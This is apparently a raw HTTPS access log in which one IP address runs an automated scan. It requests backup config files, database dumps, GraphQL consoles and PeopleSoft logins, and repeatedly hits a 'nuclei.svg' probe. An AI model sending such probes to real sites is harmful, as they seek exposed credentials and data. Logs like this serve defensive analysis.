[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/api/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/explorer HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graph HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.z HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/database.db HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.bk HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.war HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.tar HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.7z HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.gz HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.lz HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.rar HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.bk HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql.php HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql/console HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.xz HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:52:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.zip HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.z HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.bk HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.Z HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/playground HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/subscriptions HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.tgz HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/altair HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927425363 HTTP/1.1" -
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.db HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/api/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.jar HTTP/1.1" 196
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/explorer HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graph HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927438302 HTTP/1.1" -
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:52:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.zip HTTP/1.1" 196
